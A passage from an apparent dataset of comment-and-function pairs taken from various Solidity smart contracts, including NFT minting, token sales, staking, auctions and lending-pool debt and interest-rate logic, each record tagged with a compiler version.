(block.gaslimit).add\r\n ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add\r\n (block.number)\r\n\r\n )));\r\n if((seed - ((seed / 1000) * 1000)) < airDropTracker_)\r\n return(true);\r\n else\r\n return(false);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Returns the `account` data.\r\n */", "function_code": "function queryAccount(address account) public view returns (uint256 vokenIssued,\r\n uint256 vokenBonus,\r\n uint256 vokenReferral,\r\n uint256 vokenReferrals,\r\n uint256 weiPurchased,\r\n uint256 weiRewarded) {\r\n vokenIssued = _accountVokenIssued[account];\r\n vokenBonus = _accountVokenBonus[account];\r\n vokenReferral = _accountVokenReferral[account];\r\n vokenReferrals = _accountVokenReferrals[account];\r\n weiPurchased = _accountWeiPurchased[account];\r\n weiRewarded = _accountWeiRewarded[account];\r\n }", "version": "0.5.11"} {"comment": "// Reserve some Vikings for the Team!", "function_code": "function reserveVikings() public onlyOwner {\r\n require(bytes(PROOF_OF_ANCESTRY).length > 0, \"No distributing Vikings until provenance is established.\");\r\n require(!vikingsBroughtHome, \"Only once, even for you Odin\");\r\n require(totalSupply + FOR_THE_VAULT <= MAX_VIKINGS, \"You have missed your chance, Fishlord.\");\r\n\r\n for (uint256 i = 0; i < FOR_THE_VAULT; i++) {\r\n _safeMint(vaultAddress, totalSupply + i);\r\n }\r\n\r\n totalSupply += FOR_THE_VAULT;\r\n presaleSupply += FOR_THE_VAULT;\r\n\r\n vikingsBroughtHome = true;\r\n }", "version": "0.8.7"} {"comment": "// A freebie for you - Lucky you!", "function_code": "function luckyViking() public {\r\n require(luckyActive, \"A sale period must be active to claim\");\r\n require(!claimedLuckers[msg.sender], \"You have already claimed your Lucky Viking.\");\r\n require(totalSupply + 1 <= MAX_VIKINGS, \"Sorry, you're too late! All vikings have been claimed.\");\r\n require(luckySupply + 1 <= MAX_LUCKY_VIKINGS, \"Sorry, you're too late! All Lucky Vikings have been claimed.\");\r\n\r\n _safeMint( msg.sender, totalSupply);\r\n totalSupply += 1;\r\n luckySupply += 1;\r\n presaleSupply += 1;\r\n\r\n claimedLuckers[msg.sender] = true;\r\n }", "version": "0.8.7"} {"comment": "// Lets raid together, earlier than the others!!!!!!!!! LFG", "function_code": "function mintPresale(uint256 numberOfMints) public payable {\r\n require(presaleActive, \"Presale must be active to mint\");\r\n require(totalSupply + numberOfMints <= MAX_VIKINGS, \"Purchase would exceed max supply of tokens\");\r\n require(presaleSupply + numberOfMints <= MAX_PRESALE, \"We have to save some Vikings for the public sale - Presale: SOLD OUT!\");\r\n require(PRESALE_PRICE * numberOfMints == msg.value, \"Ether value sent is not correct\");\r\n\r\n for(uint256 i; i < numberOfMints; i++){\r\n _safeMint( msg.sender, totalSupply + i );\r\n }\r\n\r\n totalSupply += numberOfMints;\r\n presaleSupply += numberOfMints;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Returns the stage data by `stageIndex`.\r\n */", "function_code": "function stage(uint16 stageIndex) public view returns (uint256 vokenUsdPrice,\r\n uint256 shareholdersRatio,\r\n uint256 vokenIssued,\r\n uint256 vokenBonus,\r\n uint256 vokenCap,\r\n uint256 vokenOnSale,\r\n uint256 usdSold,\r\n uint256 usdCap,\r\n uint256 usdOnSale) {\r\n if (stageIndex <= STAGE_LIMIT) {\r\n vokenUsdPrice = _calcVokenUsdPrice(stageIndex);\r\n shareholdersRatio = _calcShareholdersRatio(stageIndex);\r\n\r\n vokenIssued = _stageVokenIssued[stageIndex];\r\n vokenBonus = _stageVokenBonus[stageIndex];\r\n vokenCap = _stageVokenCap(stageIndex);\r\n vokenOnSale = vokenCap.sub(vokenIssued);\r\n\r\n usdSold = _stageUsdSold[stageIndex];\r\n usdCap = _stageUsdCap(stageIndex);\r\n usdOnSale = usdCap.sub(usdSold);\r\n }\r\n }", "version": "0.5.11"} {"comment": "// ..and now for the rest of you", "function_code": "function mint(uint256 numberOfMints) public payable {\r\n require(saleActive, \"Sale must be active to mint\");\r\n require(numberOfMints > 0 && numberOfMints < 6, \"Invalid purchase amount\");\r\n require(totalSupply + numberOfMints <= MAX_VIKINGS, \"Purchase would exceed max supply of tokens\");\r\n require(PRICE * numberOfMints == msg.value, \"Ether value sent is not correct\");\r\n\r\n for(uint256 i; i < numberOfMints; i++) {\r\n _safeMint(msg.sender, totalSupply + i);\r\n }\r\n\r\n totalSupply += numberOfMints;\r\n }", "version": "0.8.7"} {"comment": "// This returns a psudo random number, used in conjunction with the not revealed URI\n// it prevents all leaks and gaming of the system", "function_code": "function random() public returns (uint256 _pRandom) {\r\n uint256 pRandom = (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp, totalSupply()))) % 997) + 1;\r\n for(uint256 i = 0; i <= 997; i++){\r\n if(!usedValues[pRandom]){\r\n usedValues[pRandom] = true;\r\n return pRandom;\r\n } else {\r\n pRandom--;\r\n if(pRandom == 0) {\r\n pRandom = 996;\r\n }\r\n }\r\n }\r\n }", "version": "0.8.7"} {"comment": "/// @notice allow user to submit new bid\n/// @param _nftAddress - address of the ERC721/ERC1155 token\n/// @param _tokenid - ID of the token\n/// @param _initialAppraisal - initial nft appraisal ", "function_code": "function newBid(address _nftAddress, uint _tokenid, uint _initialAppraisal) nonReentrant payable external {\r\n require(\r\n msg.value > highestBid[nonce]\r\n && auctionStatus\r\n && (session.nftNonce(_nftAddress,_tokenid) == 0 || session.getStatus(_nftAddress, _tokenid) == 5)\r\n );\r\n bidTime[msg.sender] = block.timestamp;\r\n highestBidder[nonce] = msg.sender;\r\n highestBid[nonce] = msg.value;\r\n tvl[msg.sender] -= userVote[nonce][msg.sender].bid;\r\n (bool sent, ) = payable(msg.sender).call{value: userVote[nonce][msg.sender].bid}(\"\");\r\n require(sent);\r\n userVote[nonce][msg.sender].nftAddress = _nftAddress;\r\n userVote[nonce][msg.sender].tokenid = _tokenid;\r\n userVote[nonce][msg.sender].intitialAppraisal = _initialAppraisal;\r\n userVote[nonce][msg.sender].bid = msg.value;\r\n tvl[msg.sender] += msg.value;\r\n emit newBidSubmitted(msg.sender, msg.value, _nftAddress, _tokenid, _initialAppraisal);\r\n }", "version": "0.8.0"} {"comment": "/// @notice triggered when auction ends, starts session for highest bidder", "function_code": "function endAuction() nonReentrant external {\r\n if(firstSession) {\r\n require(msg.sender == admin);\r\n }\r\n require(endTime[nonce] < block.timestamp && auctionStatus);\r\n treasury.sendABCToken(address(this), 0.005 ether * session.ethToAbc());\r\n session.createNewSession(\r\n userVote[nonce][highestBidder[nonce]].nftAddress, \r\n userVote[nonce][highestBidder[nonce]].tokenid,\r\n userVote[nonce][highestBidder[nonce]].intitialAppraisal,\r\n 86400\r\n );\r\n uint bountySend = userVote[nonce][highestBidder[nonce]].bid;\r\n userVote[nonce][highestBidder[nonce]].bid = 0;\r\n tvl[highestBidder[nonce]] -= bountySend;\r\n endTime[++nonce] = block.timestamp + 86400;\r\n (bool sent, ) = payable(session).call{value: bountySend}(\"\");\r\n require(sent);\r\n emit auctionEnded(\r\n highestBidder[nonce], \r\n userVote[nonce][highestBidder[nonce]].bid, \r\n userVote[nonce][highestBidder[nonce]].nftAddress, \r\n userVote[nonce][highestBidder[nonce]].tokenid, \r\n userVote[nonce][highestBidder[nonce]].intitialAppraisal\r\n );\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev Returns the season data by `seasonNumber`.\r\n */", "function_code": "function season(uint16 seasonNumber) public view returns (uint256 vokenIssued,\r\n uint256 vokenBonus,\r\n uint256 weiSold,\r\n uint256 weiRewarded,\r\n uint256 weiShareholders,\r\n uint256 weiPended) {\r\n if (seasonNumber <= SEASON_LIMIT) {\r\n vokenIssued = _seasonVokenIssued[seasonNumber];\r\n vokenBonus = _seasonVokenBonus[seasonNumber];\r\n\r\n weiSold = _seasonWeiSold[seasonNumber];\r\n weiRewarded = _seasonWeiRewarded[seasonNumber];\r\n weiShareholders = _seasonWeiShareholders[seasonNumber];\r\n weiPended = _seasonWeiPended[seasonNumber];\r\n }\r\n }", "version": "0.5.11"} {"comment": "/// @notice allows users to claim non-employed funds", "function_code": "function claim() nonReentrant external {\r\n uint returnValue;\r\n if(highestBidder[nonce] != msg.sender) {\r\n returnValue = tvl[msg.sender];\r\n userVote[nonce][msg.sender].bid = 0;\r\n }\r\n else {\r\n returnValue = tvl[msg.sender] - userVote[nonce][msg.sender].bid;\r\n }\r\n tvl[msg.sender] -= returnValue;\r\n (bool sent, ) = payable(msg.sender).call{value: returnValue}(\"\");\r\n require(sent);\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev Returns the `account` data of #`seasonNumber` season.\r\n */", "function_code": "function accountInSeason(address account, uint16 seasonNumber) public view returns (uint256 vokenIssued,\r\n uint256 vokenBonus,\r\n uint256 vokenReferral,\r\n uint256 vokenReferrals,\r\n uint256 weiPurchased,\r\n uint256 weiReferrals,\r\n uint256 weiRewarded) {\r\n if (seasonNumber > 0 && seasonNumber <= SEASON_LIMIT) {\r\n vokenIssued = _vokenSeasonAccountIssued[seasonNumber][account];\r\n vokenBonus = _vokenSeasonAccountBonus[seasonNumber][account];\r\n vokenReferral = _vokenSeasonAccountReferral[seasonNumber][account];\r\n vokenReferrals = _vokenSeasonAccountReferrals[seasonNumber][account];\r\n weiPurchased = _weiSeasonAccountPurchased[seasonNumber][account];\r\n weiReferrals = _weiSeasonAccountReferrals[seasonNumber][account];\r\n weiRewarded = _weiSeasonAccountRewarded[seasonNumber][account];\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Returns the season number by `stageIndex`.\r\n */", "function_code": "function _seasonNumber(uint16 stageIndex) private view returns (uint16) {\r\n if (stageIndex > 0) {\r\n uint16 __seasonNumber = stageIndex.div(SEASON_STAGES);\r\n\r\n if (stageIndex.mod(SEASON_STAGES) > 0) {\r\n return __seasonNumber.add(1);\r\n }\r\n\r\n return __seasonNumber;\r\n }\r\n\r\n return 1;\r\n }", "version": "0.5.11"} {"comment": "/// @notice Transfer `_value` SAT tokens from sender's account\n/// `msg.sender` to provided account address `_to`.\n/// @param _to The address of the tokens recipient\n/// @param _value The amount of token to be transferred\n/// @return Whether the transfer was successful or not", "function_code": "function transfer(address _to, uint256 _value) public returns (bool) {\r\n // Abort if not in Operational state.\r\n if (!funding_ended) throw;\r\n if (msg.sender == founders) throw;\r\n var senderBalance = balances[msg.sender];\r\n if (senderBalance >= _value && _value > 0) {\r\n senderBalance -= _value;\r\n balances[msg.sender] = senderBalance;\r\n balances[_to] += _value;\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n }\r\n return false;\r\n }", "version": "0.4.11"} {"comment": "/// @notice Create tokens when funding is active.\n/// @dev Required state: Funding Active\n/// @dev State transition: -> Funding Success (only if cap reached)", "function_code": "function buy(address _sender) internal {\r\n // Abort if not in Funding Active state.\r\n if (funding_ended) throw;\r\n // The checking for blocktimes.\r\n if (block.number < fundingStartBlock) throw;\r\n if (block.number > fundingEndBlock) throw;\r\n\r\n // Do not allow creating 0 or more than the cap tokens.\r\n if (msg.value == 0) throw;\r\n\r\n var numTokens = msg.value * tokenCreationRate;\r\n totalTokens += numTokens;\r\n\r\n // Assign new tokens to the sender\r\n balances[_sender] += numTokens;\r\n\r\n // sending funds to founders\r\n founders.transfer(msg.value);\r\n\r\n // Log token creation event\r\n Transfer(0, _sender, numTokens);\r\n }", "version": "0.4.11"} {"comment": "/// @notice Finalize crowdfunding", "function_code": "function finalize() external {\r\n if (block.number <= fundingEndBlock) throw;\r\n\r\n //locked allocation for founders \r\n locked_allocation = totalTokens * 10 / 100;\r\n balances[founders] = locked_allocation;\r\n totalTokens += locked_allocation;\r\n \r\n unlockingBlock = block.number + 864000; //about 6 months locked time.\r\n funding_ended = true;\r\n }", "version": "0.4.11"} {"comment": "/*\r\n * Constructor which pauses the token at the time of creation\r\n */", "function_code": "function CryptomonToken(string tokenName, string tokenSymbol, uint8 decimalUnits) {\r\n name = tokenName; // Set the name for display purposes\r\n symbol = tokenSymbol; // Set the symbol for display purposes\r\n decimals = decimalUnits; // Amount of decimals for display purposes\r\n\r\n pause();\r\n }", "version": "0.4.20"} {"comment": "/**\n * @dev Mints debt token to the `onBehalfOf` address\n * - Only callable by the LendingPool\n * @param user The address receiving the borrowed underlying, being the delegatee in case\n * of credit delegate, or same as `onBehalfOf` otherwise\n * @param onBehalfOf The address receiving the debt tokens\n * @param amount The amount of debt being minted\n * @param index The variable debt index of the reserve\n * @return `true` if the the previous balance of the user is 0\n **/", "function_code": "function mint(\n address user,\n address onBehalfOf,\n uint256 amount,\n uint256 index\n ) external override onlyLendingPool returns (bool) {\n if (user != onBehalfOf) {\n _decreaseBorrowAllowance(onBehalfOf, user, amount);\n }\n\n uint256 previousBalance = super.balanceOf(onBehalfOf);\n uint256 amountScaled = amount.rayDiv(index);\n require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT);\n\n _mint(onBehalfOf, amountScaled);\n\n emit Transfer(address(0), onBehalfOf, amount);\n emit Mint(user, onBehalfOf, amount, index);\n\n return previousBalance == 0;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Burns user variable debt\n * - Only callable by the LendingPool\n * @param user The user whose debt is getting burned\n * @param amount The amount getting burned\n * @param index The variable debt index of the reserve\n **/", "function_code": "function burn(\n address user,\n uint256 amount,\n uint256 index\n ) external override onlyLendingPool {\n uint256 amountScaled = amount.rayDiv(index);\n require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT);\n\n _burn(user, amountScaled);\n\n emit Transfer(user, address(0), amount);\n emit Burn(user, amount, index);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Calculates the interest rates depending on the reserve's state and configurations\n * @param reserve The address of the reserve\n * @param availableLiquidity The liquidity available in the reserve\n * @param totalStableDebt The total borrowed from the reserve a stable rate\n * @param totalVariableDebt The total borrowed from the reserve at a variable rate\n * @param averageStableBorrowRate The weighted average of all the stable rate loans\n * @param reserveFactor The reserve portion of the interest that goes to the treasury of the market\n * @return The liquidity rate, the stable borrow rate and the variable borrow rate\n **/", "function_code": "function calculateInterestRates(\n address reserve,\n uint256 availableLiquidity,\n uint256 totalStableDebt,\n uint256 totalVariableDebt,\n uint256 averageStableBorrowRate,\n uint256 reserveFactor\n )\n external\n view\n override\n returns (\n uint256,\n uint256,\n uint256\n )\n {\n CalcInterestRatesLocalVars memory vars;\n\n vars.totalDebt = totalStableDebt.add(totalVariableDebt);\n vars.currentVariableBorrowRate = 0;\n vars.currentStableBorrowRate = 0;\n vars.currentLiquidityRate = 0;\n\n uint256 utilizationRate =\n vars.totalDebt == 0\n ? 0\n : vars.totalDebt.rayDiv(availableLiquidity.add(vars.totalDebt));\n\n vars.currentStableBorrowRate = ILendingRateOracle(addressesProvider.getLendingRateOracle())\n .getMarketBorrowRate(reserve);\n\n if (utilizationRate > OPTIMAL_UTILIZATION_RATE) {\n uint256 excessUtilizationRateRatio =\n utilizationRate.sub(OPTIMAL_UTILIZATION_RATE).rayDiv(EXCESS_UTILIZATION_RATE);\n\n vars.currentStableBorrowRate = vars.currentStableBorrowRate.add(_stableRateSlope1).add(\n _stableRateSlope2.rayMul(excessUtilizationRateRatio)\n );\n\n vars.currentVariableBorrowRate = _baseVariableBorrowRate.add(_variableRateSlope1).add(\n _variableRateSlope2.rayMul(excessUtilizationRateRatio)\n );\n } else {\n vars.currentStableBorrowRate = vars.currentStableBorrowRate.add(\n _stableRateSlope1.rayMul(utilizationRate.rayDiv(OPTIMAL_UTILIZATION_RATE))\n );\n vars.currentVariableBorrowRate = _baseVariableBorrowRate.add(\n utilizationRate.rayMul(_variableRateSlope1).rayDiv(OPTIMAL_UTILIZATION_RATE)\n );\n }\n\n vars.currentLiquidityRate = _getOverallBorrowRate(\n totalStableDebt,\n totalVariableDebt,\n vars\n .currentVariableBorrowRate,\n averageStableBorrowRate\n )\n .rayMul(utilizationRate)\n .percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(reserveFactor));\n\n return (\n vars.currentLiquidityRate,\n vars.currentStableBorrowRate,\n vars.currentVariableBorrowRate\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Calculates the overall borrow rate as the weighted average between the total variable debt and total stable debt\n * @param totalStableDebt The total borrowed from the reserve a stable rate\n * @param totalVariableDebt The total borrowed from the reserve at a variable rate\n * @param currentVariableBorrowRate The current variable borrow rate of the reserve\n * @param currentAverageStableBorrowRate The current weighted average of all the stable rate loans\n * @return The weighted averaged borrow rate\n **/", "function_code": "function _getOverallBorrowRate(\n uint256 totalStableDebt,\n uint256 totalVariableDebt,\n uint256 currentVariableBorrowRate,\n uint256 currentAverageStableBorrowRate\n ) internal pure returns (uint256) {\n uint256 totalDebt = totalStableDebt.add(totalVariableDebt);\n\n if (totalDebt == 0) return 0;\n\n uint256 weightedVariableRate = totalVariableDebt.wadToRay().rayMul(currentVariableBorrowRate);\n\n uint256 weightedStableRate = totalStableDebt.wadToRay().rayMul(currentAverageStableBorrowRate);\n\n uint256 overallBorrowRate =\n weightedVariableRate.add(weightedStableRate).rayDiv(totalDebt.wadToRay());\n\n return overallBorrowRate;\n }", "version": "0.6.12"} {"comment": "/**\r\n * Stake PRY\r\n *\r\n * @param _amount Amount of tokens to stake\r\n */", "function_code": "function stake(uint256 _amount) public {\r\n require(isAcceptStaking == true, \"staking is not accepted\");\r\n require(_amount >= 1000e18, \"cannot invest less than 1k PRY\");\r\n require(_amount.add(stakeAmount[msg.sender]) <= 200000e18, \"cannot invest more than 200k PRY\");\r\n require(_amount.add(totalStaked) <= 5000000000e18, \"total invest cannot be more than 5m PRY\");\r\n IERC20(token).transferFrom(msg.sender, address(this), _amount);\r\n stakeAmount[msg.sender] = stakeAmount[msg.sender].add(_amount);\r\n totalStaked = totalStaked.add(_amount);\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Turn off staking and start reward period. Users can't stake\r\n */", "function_code": "function turnOffStaking() public onlyOwner() {\r\n uint256 currentTime = block.timestamp;\r\n require(currentTime > timeMature, \"the time of unstaking has not finished\");\r\n isAcceptStaking = false;\r\n timeMature = currentTime.add(ONE_MONTH.mul(3)); // 90 days\r\n timePenalty = currentTime.add(ONE_MONTH); // 30 days\r\n }", "version": "0.6.10"} {"comment": "/**\n * @dev Gets the configuration flags of the reserve\n * @param self The reserve configuration\n * @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled\n **/", "function_code": "function getFlags(DataTypes.ReserveConfigurationMap storage self)\n internal\n view\n returns (\n bool,\n bool,\n bool,\n bool\n )\n {\n uint256 dataLocal = self.data;\n\n return (\n (dataLocal & ~ACTIVE_MASK) != 0,\n (dataLocal & ~FROZEN_MASK) != 0,\n (dataLocal & ~BORROWING_MASK) != 0,\n (dataLocal & ~STABLE_BORROWING_MASK) != 0\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Gets the configuration paramters of the reserve\n * @param self The reserve configuration\n * @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals\n **/", "function_code": "function getParams(DataTypes.ReserveConfigurationMap storage self)\n internal\n view\n returns (\n uint256,\n uint256,\n uint256,\n uint256,\n uint256\n )\n {\n uint256 dataLocal = self.data;\n\n return (\n dataLocal & ~LTV_MASK,\n (dataLocal & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION,\n (dataLocal & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION,\n (dataLocal & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION,\n (dataLocal & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION\n );\n }", "version": "0.6.12"} {"comment": "// get the detail info of card ", "function_code": "function getCardsInfo(uint256 cardId) external constant returns (\r\n uint256 baseCoinCost,\r\n uint256 coinCostIncreaseHalf,\r\n uint256 ethCost, \r\n uint256 baseCoinProduction,\r\n uint256 platCost, \r\n bool unitSellable\r\n ) {\r\n baseCoinCost = cardInfo[cardId].baseCoinCost;\r\n coinCostIncreaseHalf = cardInfo[cardId].coinCostIncreaseHalf;\r\n ethCost = cardInfo[cardId].ethCost;\r\n baseCoinProduction = cardInfo[cardId].baseCoinProduction;\r\n platCost = SafeMath.mul(ethCost,PLATPrice);\r\n unitSellable = cardInfo[cardId].unitSellable;\r\n }", "version": "0.4.21"} {"comment": "//Battle Cards", "function_code": "function getBattleCardsInfo(uint256 cardId) external constant returns (\r\n uint256 baseCoinCost,\r\n uint256 coinCostIncreaseHalf,\r\n uint256 ethCost, \r\n uint256 attackValue,\r\n uint256 defenseValue,\r\n uint256 coinStealingCapacity,\r\n uint256 platCost,\r\n bool unitSellable\r\n ) {\r\n baseCoinCost = battlecardInfo[cardId].baseCoinCost;\r\n coinCostIncreaseHalf = battlecardInfo[cardId].coinCostIncreaseHalf;\r\n ethCost = battlecardInfo[cardId].ethCost;\r\n attackValue = battlecardInfo[cardId].attackValue;\r\n defenseValue = battlecardInfo[cardId].defenseValue;\r\n coinStealingCapacity = battlecardInfo[cardId].coinStealingCapacity;\r\n platCost = SafeMath.mul(ethCost,PLATPrice);\r\n unitSellable = battlecardInfo[cardId].unitSellable;\r\n }", "version": "0.4.21"} {"comment": "/** mint temple and immediately stake, with a bonus + lockin period */", "function_code": "function mintAndStake(uint256 _amountPaidStablec) external whenNotPaused {\n (uint256 totalAllocation, uint256 allocationEpoch) = PRESALE_ALLOCATION.allocationOf(msg.sender);\n\n require(_amountPaidStablec + allocationUsed[msg.sender] <= totalAllocation, \"Amount requested exceed address allocation\");\n require(allocationEpoch <= STAKING.currentEpoch(), \"User's allocated epoch is in the future\");\n\n (uint256 _stablec, uint256 _temple) = TREASURY.intrinsicValueRatio();\n\n allocationUsed[msg.sender] += _amountPaidStablec;\n uint256 _templeMinted = _amountPaidStablec * _temple / _stablec / mintMultiple;\n \n // pull stablec from staker and immediately transfer back to treasury\n SafeERC20.safeTransferFrom(STABLEC, msg.sender, address(TREASURY), _amountPaidStablec);\n\n // mint temple and allocate to the staking contract\n TEMPLE.mint(address(this), _templeMinted);\n SafeERC20.safeIncreaseAllowance(TEMPLE, address(STAKING), _templeMinted);\n\n uint256 amountOgTemple = STAKING.stake(_templeMinted);\n SafeERC20.safeIncreaseAllowance(STAKING.OG_TEMPLE(), address(STAKING_LOCK), amountOgTemple);\n STAKING_LOCK.lockFor(msg.sender, amountOgTemple, unlockTimestamp);\n\n emit MintComplete(msg.sender, _amountPaidStablec, _templeMinted, amountOgTemple);\n }", "version": "0.8.4"} {"comment": "// --------------------\n// Change the trading conditions used by the strategy\n// --------------------", "function_code": "function startChangeTradingConditions(uint256 _pTradeTrigger, uint256 _pSellPercent, \r\n uint256 _minSplit, uint256 _maxStipend, \r\n uint256 _pMaxStipend, uint256 _maxSell) external onlyGovernance {\r\n // Changes a lot of trading parameters in one call\r\n require(_pTradeTrigger <= 100000 && _pSellPercent <= 100000 && _pMaxStipend <= 100000,\"Percent cannot be greater than 100%\");\r\n _timelockStart = now;\r\n _timelockType = 5;\r\n _timelock_data[0] = _pTradeTrigger;\r\n _timelock_data[1] = _pSellPercent;\r\n _timelock_data[2] = _minSplit;\r\n _timelock_data[3] = _maxStipend;\r\n _timelock_data[4] = _pMaxStipend;\r\n _timelock_data[5] = _maxSell;\r\n }", "version": "0.6.6"} {"comment": "// --------------------\n// Change the strategy allocations between the parties\n// --------------------", "function_code": "function startChangeStrategyAllocations(uint256 _pDepositors, uint256 _pExecutor, uint256 _pStakers) external onlyGovernance {\r\n // Changes strategy allocations in one call\r\n require(_pDepositors <= 100000 && _pExecutor <= 100000 && _pStakers <= 100000,\"Percent cannot be greater than 100%\");\r\n _timelockStart = now;\r\n _timelockType = 6;\r\n _timelock_data[0] = _pDepositors;\r\n _timelock_data[1] = _pExecutor;\r\n _timelock_data[2] = _pStakers;\r\n }", "version": "0.6.6"} {"comment": "// --------------------\n// Recover trapped tokens\n// --------------------", "function_code": "function startRecoverStuckTokens(address _token, uint256 _amount) external onlyGovernance {\r\n require(safetyMode == true, \"Cannot execute this function unless safety mode active\");\r\n _timelockStart = now;\r\n _timelockType = 7; \r\n _timelock_address = _token;\r\n _timelock_data[0] = _amount;\r\n }", "version": "0.6.6"} {"comment": "/**\n * @dev Checks if a specific balance decrease is allowed\n * (i.e. doesn't bring the user borrow position health factor under HEALTH_FACTOR_LIQUIDATION_THRESHOLD)\n * @param asset The address of the underlying asset of the reserve\n * @param user The address of the user\n * @param amount The amount to decrease\n * @param reservesData The data of all the reserves\n * @param userConfig The user configuration\n * @param reserves The list of all the active reserves\n * @param oracle The address of the oracle contract\n * @return true if the decrease of the balance is allowed\n **/", "function_code": "function balanceDecreaseAllowed(\n address asset,\n address user,\n uint256 amount,\n mapping(address => DataTypes.ReserveData) storage reservesData,\n DataTypes.UserConfigurationMap calldata userConfig,\n mapping(uint256 => address) storage reserves,\n uint256 reservesCount,\n address oracle\n ) external view returns (bool) {\n if (!userConfig.isBorrowingAny() || !userConfig.isUsingAsCollateral(reservesData[asset].id)) {\n return true;\n }\n \n balanceDecreaseAllowedLocalVars memory vars;\n\n (, vars.liquidationThreshold, , vars.decimals, ) = reservesData[asset]\n .configuration\n .getParams();\n\n if (vars.liquidationThreshold == 0) {\n return true; \n }\n\n (\n vars.totalCollateralInETH,\n vars.totalDebtInETH,\n ,\n vars.avgLiquidationThreshold,\n\n ) = calculateUserAccountData(user, reservesData, userConfig, reserves, reservesCount, oracle);\n\n if (vars.totalDebtInETH == 0) {\n return true;\n }\n\n vars.amountToDecreaseInETH = IPriceOracleGetter(oracle).getAssetPrice(asset).mul(amount).div(\n 10**vars.decimals\n );\n\n vars.collateralBalanceAfterDecrease = vars.totalCollateralInETH.sub(vars.amountToDecreaseInETH);\n\n //if there is a borrow, there can't be 0 collateral\n if (vars.collateralBalanceAfterDecrease == 0) {\n return false;\n }\n\n vars.liquidationThresholdAfterDecrease = vars\n .totalCollateralInETH\n .mul(vars.avgLiquidationThreshold)\n .sub(vars.amountToDecreaseInETH.mul(vars.liquidationThreshold))\n .div(vars.collateralBalanceAfterDecrease);\n\n uint256 healthFactorAfterDecrease =\n calculateHealthFactorFromBalances(\n vars.collateralBalanceAfterDecrease,\n vars.totalDebtInETH,\n vars.liquidationThresholdAfterDecrease\n );\n\n return healthFactorAfterDecrease >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Calculates the equivalent amount in ETH that an user can borrow, depending on the available collateral and the\n * average Loan To Value\n * @param totalCollateralInETH The total collateral in ETH\n * @param totalDebtInETH The total borrow balance\n * @param ltv The average loan to value\n * @return the amount available to borrow in ETH for the user\n **/", "function_code": "function calculateAvailableBorrowsETH(\n uint256 totalCollateralInETH,\n uint256 totalDebtInETH,\n uint256 ltv\n ) internal pure returns (uint256) {\n \n uint256 availableBorrowsETH = totalCollateralInETH.percentMul(ltv); \n\n if (availableBorrowsETH < totalDebtInETH) {\n return 0;\n }\n\n availableBorrowsETH = availableBorrowsETH.sub(totalDebtInETH);\n return availableBorrowsETH;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Initializes a reserve\n * @param aTokenImpl The address of the aToken contract implementation\n * @param stableDebtTokenImpl The address of the stable debt token contract\n * @param variableDebtTokenImpl The address of the variable debt token contract\n * @param underlyingAssetDecimals The decimals of the reserve underlying asset\n * @param interestRateStrategyAddress The address of the interest rate strategy contract for this reserve\n **/", "function_code": "function initReserve(\n address aTokenImpl,\n address stableDebtTokenImpl,\n address variableDebtTokenImpl,\n uint8 underlyingAssetDecimals,\n address interestRateStrategyAddress\n ) public onlyPoolAdmin {\n address asset = ITokenConfiguration(aTokenImpl).UNDERLYING_ASSET_ADDRESS();\n\n require(\n address(pool) == ITokenConfiguration(aTokenImpl).POOL(),\n Errors.LPC_INVALID_ATOKEN_POOL_ADDRESS\n );\n require(\n address(pool) == ITokenConfiguration(stableDebtTokenImpl).POOL(),\n Errors.LPC_INVALID_STABLE_DEBT_TOKEN_POOL_ADDRESS\n );\n require(\n address(pool) == ITokenConfiguration(variableDebtTokenImpl).POOL(),\n Errors.LPC_INVALID_VARIABLE_DEBT_TOKEN_POOL_ADDRESS\n );\n require(\n asset == ITokenConfiguration(stableDebtTokenImpl).UNDERLYING_ASSET_ADDRESS(),\n Errors.LPC_INVALID_STABLE_DEBT_TOKEN_UNDERLYING_ADDRESS\n );\n require(\n asset == ITokenConfiguration(variableDebtTokenImpl).UNDERLYING_ASSET_ADDRESS(),\n Errors.LPC_INVALID_VARIABLE_DEBT_TOKEN_UNDERLYING_ADDRESS\n );\n\n address aTokenProxyAddress = _initTokenWithProxy(aTokenImpl, underlyingAssetDecimals);\n\n address stableDebtTokenProxyAddress =\n _initTokenWithProxy(stableDebtTokenImpl, underlyingAssetDecimals);\n\n address variableDebtTokenProxyAddress =\n _initTokenWithProxy(variableDebtTokenImpl, underlyingAssetDecimals);\n\n pool.initReserve(\n asset,\n aTokenProxyAddress,\n stableDebtTokenProxyAddress,\n variableDebtTokenProxyAddress,\n interestRateStrategyAddress\n );\n\n DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);\n\n currentConfig.setDecimals(underlyingAssetDecimals);\n\n currentConfig.setActive(true);\n currentConfig.setFrozen(false);\n\n pool.setConfiguration(asset, currentConfig.data);\n\n emit ReserveInitialized(\n asset,\n aTokenProxyAddress,\n stableDebtTokenProxyAddress,\n variableDebtTokenProxyAddress,\n interestRateStrategyAddress\n );\n }", "version": "0.6.12"} {"comment": "/** updates rewards in pool */", "function_code": "function _updateAccumulationFactor() internal {\n uint256 _currentEpoch = currentEpoch();\n\n // still in previous epoch, no action. \n // 